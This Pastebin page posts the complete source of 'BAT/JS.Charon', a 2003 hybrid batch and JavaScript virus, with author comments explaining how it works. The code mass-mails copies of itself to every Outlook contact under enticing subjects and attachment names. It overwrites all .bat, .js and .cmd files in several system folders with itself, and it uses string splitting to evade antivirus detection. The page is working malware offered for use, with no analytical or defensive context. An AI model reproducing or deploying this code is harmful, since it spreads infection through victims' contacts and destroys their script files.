Advertisement
FlyFar

Virus.Bat/JS.Charon - Source Code

Jul 3rd, 2023
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 4.00 KB | Cybersecurity | 0 0
  1. /*
  2. :: BAT|JS.Charon
  3. :: by Second Part To Hell[rRlf]
  4. :: www.spth.de.vu
  5. :: spth@aonmail.at
  6. :: Austria
  7. :: written on 15.02.2003
  8. ::
  9. :: Special things:
  10. :: The virus is able to spread via expansion BAT and JS!
  11. :: If it runs via JS it works in this way:
  12. :: --> It makes a VBS file which send eMails with the virus
  13. :: --> Than it opens the vbs file (now the virus is spreat via eMail)
  14. :: --> It copies itself to a BAT file
  15. :: --> This BAT file infect all JS, BAT and CMD files
  16. :: If it runs via BAT it works in this way:
  17. :: --> It infect all JS, BAT and CMD files
  18. :: --> copy itself to a JS file
  19. :: --> run he JS file
  20. :: Something else interessting:
  21. :: It uses different subjects, bodys and attachment-names
  22. :: Also sometimes the attachment-name is "BAT" and sometimes "JS". ;)
  23. :: I used a VBS file to spread for avoing AV-detection (because I crypt some parts of the vbs-file)
  24. :: Thanks goes to:
  25. :: T-2000[IR]     <-- I-Worm.Dawn  <-> for the random-thing
  26. :: AlcoPaul[b0]   <-- BatXP.RarMee <-> for some ideas ;)
  27. :: Kefi[rRlf]     <-- FSO-Tutorial <-> for more ideas :D
  28. */
  29.  
  30. /*
  31. goto bat
  32. */
  33. var fso=WScript.CreateObject("Scripting.FileSystemObject")
  34. var shell=WScript.CreateObject("Wscript.Shell")
  35. var MySf=fso.OpenTextFile(WScript.ScriptFullName,1)
  36. var MySC=MySf.ReadAll()
  37. MySf.Close()
  38. var cra="Next"
  39. var crb="Send"
  40. var crc="Attachments"
  41. var crd="Add"
  42. var cre="Address"
  43. var charon=fso.CreateTextFile("charon.js")
  44. charon.WriteLine (MySC);
  45. charon.Close();
  46.  
  47.  
  48. var sur=Math.round(Math.random()*5)+1
  49. if (sur==1)
  50. { var subject="Hi";
  51. }
  52. if (sur==2)
  53. { var subject="Hello!";
  54. }
  55. if (sur==3)
  56. { var subject=";-)";
  57. }
  58. if (sur==4)
  59. { var subject="(none)";
  60. }
  61. if (sur==5)
  62. { var subject="FWD:"
  63. }
  64.  
  65. var bor=Math.round(Math.random()*5)+1
  66. if (bor==1)
  67. { var body="A nice pic waits for opening";
  68. }
  69. if (bor==2)
  70. { var body="";
  71. }
  72. if (bor==3)
  73. { var body="Hi! what's up with u? open this little photo of charon!!";
  74. }
  75. if (bor==4)
  76. { var body="Do you know Charon? Here is it!";
  77. }
  78. if (bor==5)
  79. { var body="Charon loves u! ;)"
  80. }
  81.  
  82. var atr=Math.round(Math.random()*5)
  83. if (atr==1)
  84. { var attachmenta="lovely_mouse";
  85. }
  86. if (atr==2)
  87. { var attachmenta="charon_meets_u";
  88. }
  89. if (atr==3)
  90. { var attachmenta="Sexy_girl_on_charon";
  91. }
  92. if (atr==4)
  93. { var attachmenta="charon";
  94. }
  95. if (atr==5)
  96. { var attachmenta="hot_lickin"
  97. }
  98.  
  99. var attr=Math.round(Math.random()*2)
  100. if (attr==1)
  101. { var expan=".bat";
  102. }
  103. if (attr==2)
  104. { var expan=".js";
  105. }
  106.  
  107. var attachment="C:\\"+attachmenta+expan
  108. var email=fso.CreateTextFile("email.vbs")
  109. email.WriteLine ("On Error Resume Next")
  110. email.WriteLine ("Set fso=CreateObject("+unescape("%22")+"Scripting.FileSystemObject"+unescape("%22")+")")
  111. email.WriteLine ("Set out=Wscript.CreateObject("+unescape("%22")+"Outlook.Application"+unescape("%22")+")")
  112. email.WriteLine ("Set mapi=out.GetNameSpace("+unescape("%22")+"MAPI"+unescape("%22")+")")
  113. email.WriteLine ("Set a = mapi."+cre+"Lists(1)")
  114. email.WriteLine ("For x=1 To a."+cre+"Entries.Count")
  115. email.WriteLine ("Set Mail=ol.CreateItem(0)")
  116. email.WriteLine ("Mail.to=ol.GetNameSpace("+unescape("%22")+"MAPI"+unescape("%22")+")."+cre+"Lists(1)."+cre+"Entries(x)")
  117. email.WriteLine ("Mail.Subject="+unescape("%22")+subject+unescape("%22"))
  118. email.WriteLine ("Mail.Body="+unescape("%22")+body+unescape("%22"))
  119. email.WriteLine ("Mail."+crc+"."+crd+"("+unescape("%22")+attachment+unescape("%22")+")")
  120. email.WriteLine ("Mail."+crb)
  121. email.WriteLine (cra)
  122. email.WriteLine ("ol.Quit")
  123. email.Close()
  124. shell.run ("email.vbs");
  125. if (fso.FileExists("C:\\charon.bat"))
  126. {
  127. }
  128. else
  129. {
  130.   fso.CopyFile("charon.js","C:\\charon.bat");
  131.   shell.run ("C:\\charon.bat");
  132. }
  133. /*
  134. :bat
  135. copy %0 C:\charon.bat
  136. echo off
  137. set a=goto
  138. set a=for
  139. goto pluto
  140. set a=set
  141. :pluto
  142. %a% %%a in (*.bat ..\*.bat %windir%\*.bat %path%\*.bat) do copy %0 %%a
  143. %a% %%b in (*.js ..\*.js %windir%\*.js %path%\*.js) do copy %0 %%b
  144. %a% %%c in (*.cmd ..\*.cmd %windir%\*.cmd %path%\*.cmd) do copy %0 %%c
  145. if exist C:\charon.js goto charon
  146. copy %0 C:\charon.js
  147. cscript C:\charon.js
  148. :charon
  149. exit
  150. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement